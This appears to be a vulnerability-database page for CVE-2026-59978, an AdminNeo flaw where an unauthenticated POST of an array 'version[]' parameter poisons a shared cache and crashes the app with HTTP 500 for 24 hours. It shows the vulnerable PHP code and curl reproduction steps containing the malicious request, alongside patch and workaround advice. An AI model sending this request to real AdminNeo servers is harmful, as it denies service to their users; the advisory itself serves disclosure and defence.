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Response snapshot Oct 30, 2026, 23:06 UTC

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VulnerabilityCVE-2026-59978

AdminNeo: version-cache array injection causes persistent denial of service

AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source.

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
2 independent sources

What to do

GitHub lists first patched versions: adminneo-org/adminneo: 5.5.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-jm85-8cpp-9cjc (opens a new tab)

What happened

Summary

AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, function rawurlencode() receives this array instead of string and throws TypeError, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted.

Workaround

Continue reading

If you can't upgrade, make the file adminneo.version in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.

1. Intended design of ?script=version

The endpoint is designed to receive version data from GitHub via browser JavaScript. - functions.js line 110-121: Receives the latest release information from GitHub API by AJAX. - JavaScript POSTs version number to ?script=version. - Server stores version number in /tmp/adminneo.version file that is used as a shared cache for all users in the same server for the next 24 hours.

// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);

2. The vulnerability

The endpoint only checks $_GET["script"] == "version" - it does not validate: - Request origin (CSRF token is present, but not checked for this endpoint) - Request source (any HTTP client can POST) - Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
 $filename = get_temp_dir() . "/adminneo.version";
 @unlink($filename); // It may not be writable by us, @ - it may not exist.

 $file = open_file_with_lock($filename);
 if ($file) {
 write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
 }
 exit;
}

3. Type confusion crash

When POST contains version[] instead of version, PHP creates an array. When AdminNeo reads this file and passes to cookie() and then to rawurlencode():

// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
 header("Set-Cookie: $name=" . rawurlencode($value)
 . ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
 . "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
 . (HTTPS ? "; secure" : "")
 . "; HttpOnly; SameSite=lax",
 false);
}

PHP 8.x throws:

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

Step 1: Verify AdminNeo is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminneo.version

Expected output:

a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, AdminNeo returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before rawurlencode(), this allows DoS for the next 24 hours.

Affected users: Any AdminNeo instance accessible over the network.

Affected package ranges reported by GitHub: adminneo-org/adminneo: >= 4.6.2, < 5.5.0

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-jm85-8cpp-9cjc (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-jm85-8cpp-9cjc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-59978 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  6. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  7. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 30). AdminNeo: version-cache array injection causes persistent denial of service (CVE-2026-59978). https://kevwire.com/record/CVE-2026-59978

MLA

"AdminNeo: version-cache array injection causes persistent denial of service (CVE-2026-59978)." KEVWire, 30 Oct. 2026, kevwire.com/record/CVE-2026-59978.

Chicago

KEVWire. "AdminNeo: version-cache array injection causes persistent denial of service (CVE-2026-59978)." Last modified October 30, 2026. https://kevwire.com/record/CVE-2026-59978.

Evidence summary (plain text)

AdminNeo: version-cache array injection causes persistent denial of service (Oct 30, 2026).
AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, function rawurlencode() receives this array instead of string and throws TypeError, returning HTTP 500 to all users for the next 24 hours.
CVSS 7.5 (version 3.1; evidence as of Oct 30, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59978).
Sources:
GitHub-reviewed advisory GHSA-jm85-8cpp-9cjc: https://github.com/advisories/GHSA-jm85-8cpp-9cjc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-59978: https://nvd.nist.gov/vuln/detail/CVE-2026-59978
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-30T19:46:09.038Z&lastModEndDate=2026-10-30T21:20:56.675Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-30T19:16:05.328Z&lastModEndDate=2026-10-30T20:45:56.257Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-30T18:46:05.049Z&lastModEndDate=2026-10-30T20:15:57.059Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-30T18:10:59.199Z&lastModEndDate=2026-10-30T19:45:55.485Z&resultsPerPage=500&startIndex=500
Record ID: CVE-2026-59978.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 30, 2026, 23:05 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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